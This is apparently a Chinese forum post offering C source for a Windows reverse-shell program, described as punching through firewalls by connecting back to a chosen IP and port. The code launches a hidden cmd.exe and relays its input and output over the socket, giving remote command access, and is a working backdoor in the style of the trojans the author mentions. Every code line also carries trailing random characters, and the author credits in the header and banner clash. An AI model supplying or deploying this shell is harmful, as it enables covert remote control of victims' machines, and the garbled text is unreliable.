这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]|;+2@kDR
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/* ============================== TQ
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Rebound port in Windows NT 2EY"[xK|
By wind,2006/7 ?mQ^"9^XS
===============================*/ &v\F ah U
#include cpY{o^
#include o<2GtF1"o
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#pragma comment(lib,"wsock32.lib") =bC
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void OutputShell(); uGKjZi
SOCKET sClient; e5h*GKF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H^_,e= j
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void main(int argc,char **argv) y!e]bvN
{ }fpya2Xt
WSADATA stWsaData; fGgt[f[
int nRet; #%"q0"
SOCKADDR_IN stSaiClient,stSaiServer; 4 p_C+4
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if(argc != 3) (iIw}f)w
{ 'Pz%c}hJ
printf("Useage:\n\rRebound DestIP DestPort\n"); 0QQss
return; ,CO2d)}
} vG&>-Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); vL/ 3(Bo7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2`yhxO
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stSaiClient.sin_family = AF_INET; [+#m
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stSaiClient.sin_port = htons(0); e4X
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rvA>khu0/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WxdQ^#AE
{ xQ?>72grP
printf("Bind Socket Failed!\n"); g14*6O:
return; #kg`rrFr
} Pms@!yce
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stSaiServer.sin_family = AF_INET; [^>XRBSm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `i{d"H0E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r4.6W[|d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Re%[t9F&
{ Gk;YAI
printf("Connect Error!"); )W@ug,y
return; 6|97;@94
} pMF
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OutputShell(); S"Al[{
} :,BAw ,
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void OutputShell() bT,:eA
{ |@ mz@
char szBuff[1024]; &|SWy
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SECURITY_ATTRIBUTES stSecurityAttributes; ]A4=/6`g?b
OSVERSIONINFO stOsversionInfo; {+N<
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z:b?^u4.
STARTUPINFO stStartupInfo; EZtU6kW"
char *szShell; Xj?Wvt
PROCESS_INFORMATION stProcessInformation; QxT'\7f
unsigned long lBytesRead; ~C-Sr@ a?/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [|\6AIoS
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $+gQnI3w
stSecurityAttributes.lpSecurityDescriptor = 0; Ht`fC|E
stSecurityAttributes.bInheritHandle = TRUE; /iW+<@Mas
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~NGM6+9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rOIb9:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?2<QoS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ",r
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stStartupInfo.wShowWindow = SW_HIDE; G
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stStartupInfo.hStdInput = hReadPipe; #h!+b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c
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GetVersionEx(&stOsversionInfo); ktu?-?#0,
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switch(stOsversionInfo.dwPlatformId) !E70e$Th
{ B`pBIUu
case 1: cJKnB!iL5
szShell = "command.com"; N,t9X7G&
break; m l`xLZN>L
default: UG1<Xfu|
szShell = "cmd.exe"; ,f03TBD}
break; OM'iJB6=
} 8jK=A2pTa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eSPS3|YYn
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send(sClient,szMsg,77,0); +]l?JKV
while(1) uJ`N'`Z
{ M-WSdG[AJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ulR yt^bx|
if(lBytesRead) .EYL
{ SX3'|'-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /E>;O47a
send(sClient,szBuff,lBytesRead,0); f5}afPk
} Gz`Jzh
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else X)g
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{ cIug~ x>
lBytesRead=recv(sClient,szBuff,1024,0); --HDE c|
if(lBytesRead<=0) break; KdNo'*;U]_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (}#&HE<
} WC_.j^sW
} G/x6zdk
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return; gI:g/ R
}